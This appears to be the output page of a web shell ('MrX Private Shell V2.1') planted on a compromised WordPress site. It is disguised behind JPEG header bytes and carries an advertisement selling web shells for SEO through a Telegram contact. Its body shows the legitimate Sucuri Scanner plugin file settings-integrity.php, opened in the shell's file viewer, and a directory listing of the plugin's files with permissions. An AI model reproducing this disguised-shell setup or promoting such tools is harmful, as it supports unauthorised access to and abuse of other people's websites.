����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Code related to the settings-integrity.php interface.
*
* PHP version 5
*
* @category Library
* @package Sucuri
* @subpackage SucuriScanner
* @author Daniel Cid <dcid@sucuri.net>
* @copyright 2010-2018 Sucuri Inc.
* @license https://www.gnu.org/licenses/gpl-2.0.txt GPL2
* @link https://wordpress.org/plugins/sucuri-scanner
*/
if (!defined('SUCURISCAN_INIT') || SUCURISCAN_INIT !== true) {
if (!headers_sent()) {
/* Report invalid access if possible. */
header('HTTP/1.1 403 Forbidden');
}
exit(1);
}
/**
* Settings for the WordPress integrity scanner.
*
* Generates the HTML code to display a list of options in the settings page to
* allow the website owner to configure the functionality of the WordPress core
* integrity scanner and the optional Unix diff utility. This also includes some
* options to configure the website installation language and the false positive
* cache file.
*
* @category Library
* @package Sucuri
* @subpackage SucuriScanner
* @author Daniel Cid <dcid@sucuri.net>
* @copyright 2010-2018 Sucuri Inc.
* @license https://www.gnu.org/licenses/gpl-2.0.txt GPL2
* @link https://wordpress.org/plugins/sucuri-scanner
*/
class SucuriScanSettingsIntegrity extends SucuriScanSettings
{
/**
* Configures the diffUtility for the integrity scanner.
*
* @param bool $nonce True if the CSRF protection worked, false otherwise.
* @return string HTML code to render the configuration panel.
*/
public static function diffUtility($nonce)
{
$params = array();
$params['DiffUtility.StatusNum'] = 0;
$params['DiffUtility.Status'] = 'Disabled';
$params['DiffUtility.SwitchText'] = 'Enable';
$params['DiffUtility.SwitchValue'] = 'enable';
if ($nonce) {
// Enable or disable the Unix diff utility.
$status = SucuriScanRequest::post(':diff_utility', '(en|dis)able');
if ($status) {
if (!SucuriScanCommand::exists('diff')) {
SucuriScanInterface::error(__('Your hosting provider has blocked the execution of external commands.', 'sucuri-scanner'));
} else {
$status = $status . 'd'; /* add past tense */
$message = sprintf(__('Integrity diff utility has been <code>%s</code>', 'sucuri-scanner'), $status);
SucuriScanOption::updateOption(':diff_utility', $status);
SucuriScanEvent::reportInfoEvent($message);
SucuriScanEvent::notifyEvent('plugin_change', $message);
SucuriScanInterface::info(__('The status of the integrity diff utility has been changed', 'sucuri-scanner'));
}
}
}
if (SucuriScanOption::isEnabled(':diff_utility')) {
$params['DiffUtility.StatusNum'] = 1;
$params['DiffUtility.Status'] = __('Enabled', 'sucuri-scanner');
$params['DiffUtility.SwitchText'] = __('Disable', 'sucuri-scanner');
$params['DiffUtility.SwitchValue'] = 'disable';
}
return SucuriScanTemplate::getSection('settings-scanner-integrity-diff-utility', $params);
}
/**
* Configures the cache for the integrity scanner.
*
* @param bool $nonce True if the CSRF protection worked, false otherwise.
* @return string HTML code to render the configuration panel.
*/
public static function cache($nonce)
{
$params = array();
$cache = new SucuriScanCache('integrity');
$fpath = SucuriScan::dataStorePath('sucuri-integrity.php');
if ($nonce && SucuriScanRequest::post(':reset_integrity_cache')) {
$deletedFiles = array();
$files = SucuriScanRequest::post(':corefile_path', '_array');
foreach ((array) $files as $path) {
if ($cache->delete(md5($path))) {
$deletedFiles[] = $path;
}
}
if (!empty($deletedFiles)) {
SucuriScanEvent::reportDebugEvent(
sprintf(__('Core files that will not be ignored anymore: (multiple entries): %s', 'sucuri-scanner'), implode(',', $deletedFiles))
);
SucuriScanInterface::info(__('The selected files have been successfully processed.', 'sucuri-scanner'));
}
}
$params['IgnoredFiles'] = '';
$params['CacheSize'] = SucuriScan::humanFileSize(@filesize($fpath));
$params['CacheLifeTime'] = SUCURISCAN_SITECHECK_LIFETIME;
$params['NoFilesVisibility'] = 'visible';
$ignored_files = $cache->getAll();
if (is_array($ignored_files) && !empty($ignored_files)) {
$params['NoFilesVisibility'] = 'hidden';
foreach ($ignored_files as $hash => $data) {
$params['IgnoredFiles'] .= SucuriScanTemplate::getSnippet(
'settings-scanner-integrity-cache',
array(
'UniqueId' => substr($hash, 0, 8),
'FilePath' => $data->file_path,
'StatusType' => $data->file_status,
'IgnoredAt' => SucuriScan::datetime($data->ignored_at),
)
);
}
}
return SucuriScanTemplate::getSection('settings-scanner-integrity-cache', $params);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api.lib.php | File | 37.23 KB | 0644 |
|
| auditlogs.lib.php | File | 10.89 KB | 0644 |
|
| base.lib.php | File | 27.75 KB | 0644 |
|
| cache.lib.php | File | 16.15 KB | 0644 |
|
| cli.lib.php | File | 4.8 KB | 0644 |
|
| command.lib.php | File | 6.19 KB | 0644 |
|
| cron.lib.php | File | 1.8 KB | 0644 |
|
| event.lib.php | File | 32.55 KB | 0644 |
|
| fileinfo.lib.php | File | 14.98 KB | 0644 |
|
| firewall.lib.php | File | 25.74 KB | 0644 |
|
| fsscanner.lib.php | File | 4.2 KB | 0644 |
|
| globals.php | File | 8.46 KB | 0644 |
|
| hardening.lib.php | File | 10.94 KB | 0644 |
|
| hook.lib.php | File | 38.23 KB | 0644 |
|
| index.html | File | 38 B | 0644 |
|
| installer-skin-legacy.lib.php | File | 1.58 KB | 0644 |
|
| installer-skin.lib.php | File | 2.35 KB | 0644 |
|
| integrity.lib.php | File | 26.07 KB | 0644 |
|
| interface.lib.php | File | 13.03 KB | 0644 |
|
| lastlogins-failed.php | File | 14.32 KB | 0644 |
|
| lastlogins-loggedin.php | File | 7.76 KB | 0644 |
|
| lastlogins.php | File | 16.13 KB | 0644 |
|
| mail.lib.php | File | 9.48 KB | 0644 |
|
| option.lib.php | File | 23.25 KB | 0644 |
|
| pagehandler.php | File | 8.97 KB | 0644 |
|
| request.lib.php | File | 4.4 KB | 0644 |
|
| settings-alerts.php | File | 26.7 KB | 0644 |
|
| settings-apiservice.php | File | 5.53 KB | 0644 |
|
| settings-general.php | File | 27.19 KB | 0644 |
|
| settings-hardening.php | File | 32.42 KB | 0644 |
|
| settings-integrity.php | File | 5.37 KB | 0644 |
|
| settings-posthack.php | File | 21.51 KB | 0644 |
|
| settings-scanner.php | File | 9.69 KB | 0644 |
|
| settings-webinfo.php | File | 5.55 KB | 0644 |
|
| settings.php | File | 947 B | 0644 |
|
| sitecheck.lib.php | File | 19.21 KB | 0644 |
|
| strings.php | File | 45.61 KB | 0644 |
|
| template.lib.php | File | 17.88 KB | 0644 |
|
| wordpress-recommendations.lib.php | File | 10.9 KB | 0644 |
|